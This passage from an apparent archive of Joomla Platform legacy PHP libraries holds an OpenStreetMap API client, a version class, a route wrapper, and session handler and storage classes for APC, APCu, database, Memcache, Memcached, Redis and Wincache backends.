* @var JHttp
* @since 3.2.0
*/
protected $client;
/**
* The OAuth client.
*
* @var JOpenstreetmapOauth
* @since 3.2.0
*/
protected $oauth;
/**
* Openstreetmap API object for changesets.
*
* @var JOpenstreetmapChangesets
* @since 3.2.0
*/
protected $changesets;
/**
* Openstreetmap API object for elements.
*
* @var JOpenstreetmapElements
* @since 3.2.0
*/
protected $elements;
/**
* Openstreetmap API object for GPS.
*
* @var JOpenstreetmapGps
* @since 3.2.0
*/
protected $gps;
/**
* Openstreetmap API object for info.
*
* @var JOpenstreetmapInfo
* @since 3.2.0
*/
protected $info;
/**
* Openstreetmap API object for user.
*
* @var JOpenstreetmapUser
* @since 3.2.0
*/
protected $user;
/**
* Constructor.
*
* @param JOpenstreetmapOauth $oauth Openstreetmap oauth client
* @param Registry $options Openstreetmap options object
* @param JHttp $client The HTTP client object
*
* @since 3.2.0
*/
public function __construct(JOpenstreetmapOauth $oauth = null, Registry
$options = null, JHttp $client = null)
{
$this->oauth = $oauth;
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
// Setup the default API url if not already set.
$this->options->def('api.url',
'https://api.openstreetmap.org/api/0.6/');
// $this->options->def('api.url',
'https://api06.dev.openstreetmap.org/api/0.6/');
}
/**
* Method to get object instances
*
* @param string $name Name of property to retrieve
*
* @return JOpenstreetmapObject Openstreetmap API object
*
* @since 3.2.0
* @throws InvalidArgumentException
*/
public function __get($name)
{
$class = 'JOpenstreetmap' . ucfirst($name);
if (class_exists($class))
{
if (false == isset($this->$name))
{
$this->$name = new $class($this->options, $this->client,
$this->oauth);
}
return $this->$name;
}
throw new InvalidArgumentException(sprintf('Argument %s produced an
invalid class name: %s', $name, $class));
}
/**
* Get an option from the JOpenstreetmap instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.2.0
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the Openstreetmap instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JOpenstreetmap This object for method chaining.
*
* @since 3.2.0
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
openstreetmap/user.php000064400000006324151171674130011134 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Openstreetmap
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Openstreetmap API User class for the Joomla Platform
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer
instead
*/
class JOpenstreetmapUser extends JOpenstreetmapObject
{
/**
* Method to get user details
*
* @return array The XML response
*
* @since 3.2.0
*/
public function getDetails()
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'user/details';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters);
return $response->body;
}
/**
* Method to get preferences
*
* @return array The XML response
*
* @since 3.2.0
*/
public function getPreferences()
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'user/preferences';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters);
return $response->body;
}
/**
* Method to replace user preferences
*
* @param array $preferences Array of new preferences
*
* @return array The XML response
*
* @since 3.2.0
*/
public function replacePreferences($preferences)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'user/preferences';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Create a list of preferences
$preference_list = '';
if (!empty($preferences))
{
foreach ($preferences as $key => $value)
{
$preference_list .= '<preference k="' . $key .
'" v="' . $value . '"/>';
}
}
$xml = '<?xml version="1.0"
encoding="UTF-8"?>
<osm version="0.6" generator="JOpenstreetmap">
<preferences>'
. $preference_list .
'</preferences>
</osm>';
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response->body;
}
/**
* Method to change user preferences
*
* @param string $key Key of the preference
* @param string $preference New value for preference
*
* @return array The XML response
*
* @since 3.2.0
*/
public function changePreference($key, $preference)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = 'user/preferences/' . $key;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $preference);
return $response->body;
}
}
platform.php000064400000004601151171674130007110 0ustar00<?php
/**
* @package Joomla.Platform
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Version information class for the Joomla Platform.
*
* @since 1.7.0
* @deprecated 4.0 Deprecated without replacement
*/
final class JPlatform
{
// Product name.
const PRODUCT = 'Joomla Platform';
// Release version.
const RELEASE = '13.1';
// Maintenance version.
const MAINTENANCE = '0';
// Development STATUS.
const STATUS = 'Stable';
// Build number.
const BUILD = 0;
// Code name.
const CODE_NAME = 'Curiosity';
// Release date.
const RELEASE_DATE = '24-Apr-2013';
// Release time.
const RELEASE_TIME = '00:00';
// Release timezone.
const RELEASE_TIME_ZONE = 'GMT';
// Copyright Notice.
const COPYRIGHT = 'Copyright (C) 2005 - 2020 Open Source Matters,
Inc. All rights reserved.';
// Link text.
const LINK_TEXT = '<a
href="https://www.joomla.org">Joomla!</a> is Free
Software released under the GNU General Public License.';
/**
* Compares two a "PHP standardized" version number against the
current Joomla Platform version.
*
* @param string $minimum The minimum version of the Joomla Platform
which is compatible.
*
* @return boolean True if the version is compatible.
*
* @link https://www.php.net/version_compare
* @since 1.7.0
* @deprecated 4.0 Deprecated without replacement
*/
public static function isCompatible($minimum)
{
return version_compare(self::getShortVersion(), $minimum, 'eq')
== 1;
}
/**
* Gets a "PHP standardized" version string for the current
Joomla Platform.
*
* @return string Version string.
*
* @since 1.7.0
* @deprecated 4.0 Deprecated without replacement
*/
public static function getShortVersion()
{
return self::RELEASE . '.' . self::MAINTENANCE;
}
/**
* Gets a version string for the current Joomla Platform with all release
information.
*
* @return string Complete version string.
*
* @since 1.7.0
* @deprecated 4.0 Deprecated without replacement
*/
public static function getLongVersion()
{
return self::PRODUCT . ' ' . self::RELEASE . '.' .
self::MAINTENANCE . ' ' . self::STATUS . ' [ ' .
self::CODE_NAME . ' ] '
. self::RELEASE_DATE . ' ' . self::RELEASE_TIME . '
' . self::RELEASE_TIME_ZONE;
}
}
route/wrapper/route.php000064400000001656151171674130011247
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Application
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Wrapper class for JRoute
*
* @package Joomla.Platform
* @subpackage Application
* @since 3.4
* @deprecated 4.0 Will be removed without replacement
*/
class JRouteWrapperRoute
{
/**
* Helper wrapper method for _
*
* @param string $url Absolute or Relative URI to Joomla resource.
* @param boolean $xhtml Replace & by & for XML
compliance.
* @param integer $ssl Secure state for the resolved URI.
*
* @return string The translated humanly readable URL.
*
* @see JRoute::_()
* @since 3.4
*/
public function _($url, $xhtml = true, $ssl = null)
{
return JRoute::_($url, $xhtml, $ssl);
}
}
session/handler/interface.php000064400000005322151171674130012325
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Interface for managing HTTP sessions
*
* @since 3.5
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
interface JSessionHandlerInterface
{
/**
* Starts the session.
*
* @return boolean True if started.
*
* @since 3.5
* @throws RuntimeException If something goes wrong starting the session.
*/
public function start();
/**
* Checks if the session is started.
*
* @return boolean True if started, false otherwise.
*
* @since 3.5
*/
public function isStarted();
/**
* Returns the session ID
*
* @return string The session ID
*
* @since 3.5
*/
public function getId();
/**
* Sets the session ID
*
* @param string $id The session ID
*
* @return void
*
* @since 3.5
*/
public function setId($id);
/**
* Returns the session name
*
* @return mixed The session name.
*
* @since 3.5
*/
public function getName();
/**
* Sets the session name
*
* @param string $name The name of the session
*
* @return void
*
* @since 3.5
*/
public function setName($name);
/**
* Regenerates ID that represents this storage.
*
* Note regenerate+destroy should not clear the session data in memory
only delete the session data from persistent storage.
*
* @param boolean $destroy Destroy session when regenerating?
* @param integer $lifetime Sets the cookie lifetime for the session
cookie. A null value will leave the system settings unchanged,
* 0 sets the cookie to expire with browser
session. Time is in seconds, and is not a Unix timestamp.
*
* @return boolean True if session regenerated, false if error
*
* @since 3.5
*/
public function regenerate($destroy = false, $lifetime = null);
/**
* Force the session to be saved and closed.
*
* This method must invoke session_write_close() unless this interface is
used for a storage object design for unit or functional testing where
* a real PHP session would interfere with testing, in which case it
should actually persist the session data if required.
*
* @return void
*
* @see session_write_close()
* @since 3.5
* @throws RuntimeException If the session is saved without being
started, or if the session is already closed.
*/
public function save();
/**
* Clear all session data in memory.
*
* @return void
*
* @since 3.5
*/
public function clear();
}
session/handler/joomla.php000064400000006637151171674130011660
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Interface for managing HTTP sessions
*
* @since 3.5
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionHandlerJoomla extends JSessionHandlerNative
{
/**
* The input object
*
* @var JInput
* @since 3.5
*/
public $input = null;
/**
* Force cookies to be SSL only
*
* @var boolean
* @since 3.5
*/
protected $force_ssl = false;
/**
* Public constructor
*
* @param array $options An array of configuration options
*
* @since 3.5
*/
public function __construct($options = array())
{
if (!headers_sent())
{
// Disable transparent sid support
ini_set('session.use_trans_sid', '0');
// Only allow the session ID to come from cookies and nothing else.
if ((int) ini_get('session.use_cookies') !== 1)
{
ini_set('session.use_only_cookies', 1);
}
}
// Set options
$this->setOptions($options);
$this->setCookieParams();
}
/**
* Starts the session
*
* @return boolean True if started
*
* @since 3.5
* @throws RuntimeException If something goes wrong starting the session.
*/
public function start()
{
$session_name = $this->getName();
// Get the JInputCookie object
$cookie = $this->input->cookie;
if (is_null($cookie->get($session_name)))
{
$session_clean = $this->input->get($session_name, false,
'string');
if ($session_clean)
{
$this->setId($session_clean);
$cookie->set($session_name, '', 1);
}
}
return parent::start();
}
/**
* Clear all session data in memory.
*
* @return void
*
* @since 3.5
*/
public function clear()
{
$sessionName = $this->getName();
/*
* In order to kill the session altogether, such as to log the user out,
the session id
* must also be unset. If a cookie is used to propagate the session id
(default behavior),
* then the session cookie must be deleted.
* We need to use setcookie here or we will get a warning in some session
handlers (ex: files).
*/
if (isset($_COOKIE[$sessionName]))
{
$cookie = session_get_cookie_params();
setcookie($sessionName, '', 1, $cookie['path'],
$cookie['domain'], $cookie['secure'], true);
}
parent::clear();
}
/**
* Set session cookie parameters
*
* @return void
*
* @since 3.5
*/
protected function setCookieParams()
{
if (headers_sent())
{
return;
}
$cookie = session_get_cookie_params();
if ($this->force_ssl)
{
$cookie['secure'] = true;
}
$config = JFactory::getConfig();
if ($config->get('cookie_domain', '') !=
'')
{
$cookie['domain'] =
$config->get('cookie_domain');
}
if ($config->get('cookie_path', '') !=
'')
{
$cookie['path'] = $config->get('cookie_path');
}
session_set_cookie_params($cookie['lifetime'],
$cookie['path'], $cookie['domain'],
$cookie['secure'], true);
}
/**
* Set additional session options
*
* @param array $options List of parameter
*
* @return boolean True on success
*
* @since 3.5
*/
protected function setOptions(array $options)
{
if (isset($options['force_ssl']))
{
$this->force_ssl = (bool) $options['force_ssl'];
}
return true;
}
}
session/handler/native.php000064400000013613151171674130011655
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Interface for managing HTTP sessions
*
* @since 3.5
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionHandlerNative implements JSessionHandlerInterface
{
/**
* Has the session been started
*
* @var boolean
* @since 3.5
*/
private $started = false;
/**
* Has the session been closed
*
* @var boolean
* @since 3.5
*/
private $closed = false;
/**
* Starts the session
*
* @return boolean True if started
*
* @since 3.5
*/
public function start()
{
if ($this->isStarted())
{
return true;
}
$this->doSessionStart();
return true;
}
/**
* Checks if the session is started.
*
* @return boolean True if started, false otherwise.
*
* @since 3.5
*/
public function isStarted()
{
return $this->started;
}
/**
* Returns the session ID
*
* @return string The session ID
*
* @since 3.5
*/
public function getId()
{
return session_id();
}
/**
* Sets the session ID
*
* @param string $id The session ID
*
* @return void
*
* @since 3.5
* @throws LogicException
*/
public function setId($id)
{
if ($this->isStarted())
{
throw new LogicException('Cannot change the ID of an active
session');
}
session_id($id);
}
/**
* Returns the session name
*
* @return mixed The session name
*
* @since 3.5
*/
public function getName()
{
return session_name();
}
/**
* Sets the session name
*
* @param string $name The name of the session
*
* @return void
*
* @since 3.5
* @throws LogicException
*/
public function setName($name)
{
if ($this->isStarted())
{
throw new LogicException('Cannot change the name of an active
session');
}
session_name($name);
}
/**
* Regenerates ID that represents this storage.
*
* Note regenerate+destroy should not clear the session data in memory
only delete the session data from persistent storage.
*
* @param boolean $destroy Destroy session when regenerating?
* @param integer $lifetime Sets the cookie lifetime for the session
cookie. A null value will leave the system settings unchanged,
* 0 sets the cookie to expire with browser
session. Time is in seconds, and is not a Unix timestamp.
*
* @return boolean True if session regenerated, false if error
*
* @since 3.5
*/
public function regenerate($destroy = false, $lifetime = null)
{
if (!headers_sent() && null !== $lifetime)
{
ini_set('session.cookie_lifetime', $lifetime);
}
$return = session_regenerate_id($destroy);
// Workaround for https://bugs.php.net/bug.php?id=61470 as suggested by
David Grudl
session_write_close();
$this->closed = true;
if (isset($_SESSION))
{
$backup = $_SESSION;
$this->doSessionStart();
$_SESSION = $backup;
}
else
{
$this->doSessionStart();
}
return $return;
}
/**
* Force the session to be saved and closed.
*
* This method must invoke session_write_close() unless this interface is
used for a storage object design for unit or functional testing where
* a real PHP session would interfere with testing, in which case it
should actually persist the session data if required.
*
* @return void
*
* @see session_write_close()
* @since 3.5
*/
public function save()
{
// Verify if the session is active
if ((version_compare(PHP_VERSION, '5.4', 'ge')
&& PHP_SESSION_ACTIVE === session_status())
|| (version_compare(PHP_VERSION, '5.4', 'lt')
&& $this->started && isset($_SESSION) &&
$this->getId()))
{
$session = JFactory::getSession();
$data = $session->getData();
// Before storing it, let's serialize and encode the Registry
object
$_SESSION['joomla'] = base64_encode(serialize($data));
session_write_close();
$this->closed = true;
$this->started = false;
}
}
/**
* Clear all session data in memory.
*
* @return void
*
* @since 3.5
*/
public function clear()
{
// Need to destroy any existing sessions started with session.auto_start
if ($this->getId())
{
session_unset();
session_destroy();
}
$this->closed = true;
$this->started = false;
}
/**
* Performs the session start mechanism
*
* @return void
*
* @since 3.5.1
* @throws RuntimeException If something goes wrong starting the session.
*/
private function doSessionStart()
{
// Register our function as shutdown method, so we can manipulate it
register_shutdown_function(array($this, 'save'));
// Disable the cache limiter
session_cache_limiter('none');
/*
* Extended checks to determine if the session has already been started
*/
// If running PHP 5.4, try to use the native API
if (version_compare(PHP_VERSION, '5.4', 'ge')
&& PHP_SESSION_ACTIVE === session_status())
{
throw new RuntimeException('Failed to start the session: already
started by PHP.');
}
// Fallback check for PHP 5.3
if (version_compare(PHP_VERSION, '5.4', 'lt')
&& !$this->closed && isset($_SESSION) &&
$this->getId())
{
throw new RuntimeException('Failed to start the session: already
started by PHP ($_SESSION is set).');
}
// If we are using cookies (default true) and headers have already been
started (early output),
if (ini_get('session.use_cookies') &&
headers_sent($file, $line))
{
throw new RuntimeException(sprintf('Failed to start the session
because headers have already been sent by "%s" at line %d.',
$file, $line));
}
// Ok to try and start the session
if (!session_start())
{
throw new RuntimeException('Failed to start the session');
}
// Mark ourselves as started
$this->started = true;
}
}
session/storage/apc.php000064400000004235151171674130011161
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* APC session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageApc extends JSessionStorage
{
/**
* Constructor
*
* @param array $options Optional parameters
*
* @since 1.7.0
* @throws RuntimeException
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('APC Extension is not available',
404);
}
parent::__construct($options);
}
/**
* Read the data for a particular session identifier from the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 1.7.0
*/
public function read($id)
{
$sess_id = 'sess_' . $id;
return (string) apc_fetch($sess_id);
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $sessionData The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function write($id, $sessionData)
{
$sess_id = 'sess_' . $id;
return apc_store($sess_id, $sessionData,
ini_get('session.gc_maxlifetime'));
}
/**
* Destroy the data for a particular session identifier in the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function destroy($id)
{
$sess_id = 'sess_' . $id;
return apc_delete($sess_id);
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return extension_loaded('apc');
}
}
session/storage/apcu.php000064400000005006151171674130011343
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* APC session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 3.9
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageApcu extends JSessionStorage
{
/**
* Constructor
*
* @param array $options Optional parameters
*
* @since 3.9
* @throws RuntimeException
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('APCu Extension is not available',
404);
}
parent::__construct($options);
}
/**
* Read the data for a particular session identifier from the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 3.9
*/
public function read($id)
{
$sess_id = 'sess_' . $id;
return (string) apcu_fetch($sess_id);
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $sessionData The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 3.9
*/
public function write($id, $sessionData)
{
$sess_id = 'sess_' . $id;
return apcu_store($sess_id, $sessionData,
ini_get('session.gc_maxlifetime'));
}
/**
* Destroy the data for a particular session identifier in the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 3.9
*/
public function destroy($id)
{
$sess_id = 'sess_' . $id;
// The apcu_delete function returns false if the id does not exist
return apcu_delete($sess_id = 'sess_' . $id) ||
!apcu_exists($sess_id = 'sess_' . $id);
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.9
*/
public static function isSupported()
{
$supported = extension_loaded('apcu') &&
ini_get('apc.enabled');
// If on the CLI interface, the `apc.enable_cli` option must also be
enabled
if ($supported && php_sapi_name() === 'cli')
{
$supported = ini_get('apc.enable_cli');
}
return (bool) $supported;
}
}
session/storage/database.php000064400000007600151171674130012161
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Database session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageDatabase extends JSessionStorage
{
/**
* Read the data for a particular session identifier from the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 1.7.0
*/
public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' .
$db->quoteBinary($id));
$db->setQuery($query);
$result = (string) $db->loadResult();
$result = str_replace('\0\0\0', chr(0) . '*' .
chr(0), $result);
return $result;
}
catch (RuntimeException $e)
{
return false;
}
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0',
$data);
try
{
$query = $db->getQuery(true)
->update($db->quoteName('#__session'))
->set($db->quoteName('data') . ' = ' .
$db->quote($data))
->set($db->quoteName('time') . ' = ' .
time())
->where($db->quoteName('session_id') . ' = '
. $db->quoteBinary($id));
// Try to update the session data in the database table.
$db->setQuery($query);
$db->execute();
/*
* Since $db->execute did not throw an exception, so the query was
successful.
* Either the data changed, or the data was identical.
* In either case we are done.
*/
return true;
}
catch (RuntimeException $e)
{
return false;
}
}
/**
* Destroy the data for a particular session identifier in the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function destroy($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
$query = $db->getQuery(true)
->delete($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = '
. $db->quoteBinary($id));
// Remove a session from the database.
$db->setQuery($query);
return (boolean) $db->execute();
}
catch (RuntimeException $e)
{
return false;
}
}
/**
* Garbage collect stale sessions from the SessionHandler backend.
*
* @param integer $lifetime The maximum age of a session.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function gc($lifetime = 1440)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
// Determine the timestamp threshold with which to purge old sessions.
$past = time() - $lifetime;
try
{
$query = $db->getQuery(true)
->delete($db->quoteName('#__session'))
->where($db->quoteName('time') . ' < ' .
(int) $past);
// Remove expired sessions from the database.
$db->setQuery($query);
return (boolean) $db->execute();
}
catch (RuntimeException $e)
{
return false;
}
}
}
session/storage/memcache.php000064400000003602151171674130012155
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Memcache session storage handler for PHP
*
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageMemcache extends JSessionStorage
{
/**
* @var array Container for memcache server conf arrays
*/
private $_servers = array();
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('Memcache Extension is not
available', 404);
}
$config = JFactory::getConfig();
// This will be an array of loveliness
// @todo: multiple servers
$this->_servers = array(
array(
'host' =>
$config->get('session_memcache_server_host',
'localhost'),
'port' =>
$config->get('session_memcache_server_port', 11211),
),
);
parent::__construct($options);
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 3.0.1
*/
public function register()
{
if (!empty($this->_servers) && isset($this->_servers[0]))
{
$serverConf = current($this->_servers);
if (!headers_sent())
{
ini_set('session.save_path',
"{$serverConf['host']}:{$serverConf['port']}");
ini_set('session.save_handler', 'memcache');
}
}
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return extension_loaded('memcache') &&
class_exists('Memcache');
}
}
session/storage/memcached.php000064400000003612151171674130012322
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Memcached session storage handler for PHP
*
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageMemcached extends JSessionStorage
{
/**
* @var array Container for memcache server conf arrays
*/
private $_servers = array();
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('Memcached Extension is not
available', 404);
}
$config = JFactory::getConfig();
// This will be an array of loveliness
// @todo: multiple servers
$this->_servers = array(
array(
'host' =>
$config->get('session_memcached_server_host',
'localhost'),
'port' =>
$config->get('session_memcached_server_port', 11211),
),
);
parent::__construct($options);
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 3.0.1
*/
public function register()
{
if (!empty($this->_servers) && isset($this->_servers[0]))
{
$serverConf = current($this->_servers);
if (!headers_sent())
{
ini_set('session.save_path',
"{$serverConf['host']}:{$serverConf['port']}");
ini_set('session.save_handler', 'memcached');
}
}
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return extension_loaded('memcached') &&
class_exists('Memcached');
}
}
session/storage/none.php000064400000001402151171674130011346
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* File session handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageNone extends JSessionStorage
{
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 1.7.0
*/
public function register()
{
// Default session handler is `files`
}
}
session/storage/redis.php000064400000005045151171674130011524
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Redis session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 3.8.0
*/
class JSessionStorageRedis extends JSessionStorage
{
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 3.8.0
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('Redis Extension is not available',
404);
}
$config = JFactory::getConfig();
$this->_server = array(
'host' =>
$config->get('session_redis_server_host',
'localhost'),
'port' =>
$config->get('session_redis_server_port', 6379),
'persist' =>
$config->get('session_redis_persist', true),
'auth' =>
$config->get('session_redis_server_auth', null),
'db' => (int)
$config->get('session_redis_server_db', 0),
);
// If you are trying to connect to a socket file, ignore the supplied
port
if ($this->_server['host'][0] === '/')
{
$this->_server['port'] = 0;
}
parent::__construct($options);
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 3.8.0
*/
public function register()
{
if (!empty($this->_server) &&
isset($this->_server['host'],
$this->_server['port']))
{
if (!headers_sent())
{
if ($this->_server['port'] === 0)
{
$path = 'unix://' . $this->_server['host'];
}
else
{
$path = 'tcp://' . $this->_server['host'] .
":" . $this->_server['port'];
}
$persist = isset($this->_server['persist']) ?
$this->_server['persist'] : false;
$db = isset($this->_server['db']) ?
$this->_server['db'] : 0;
$path .= '?persistent=' . (int) $persist .
'&database=' . $db;
if (!empty($this->_server['auth']))
{
$path .= '&auth=' . $this->_server['auth'];
}
ini_set('session.save_path', $path);
ini_set('session.save_handler', 'redis');
}
// This is required if the configuration.php gzip is turned on
ini_set('zlib.output_compression', 'Off');
}
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.8.0
*/
public static function isSupported()
{
return extension_loaded('redis') &&
class_exists('Redis');
}
}
session/storage/wincache.php000064400000002561151171674140012200
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* WINCACHE session storage handler for PHP
*
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageWincache extends JSessionStorage
{
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('Wincache Extension is not
available', 404);
}
parent::__construct($options);
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 3.0.1
*/
public function register()
{
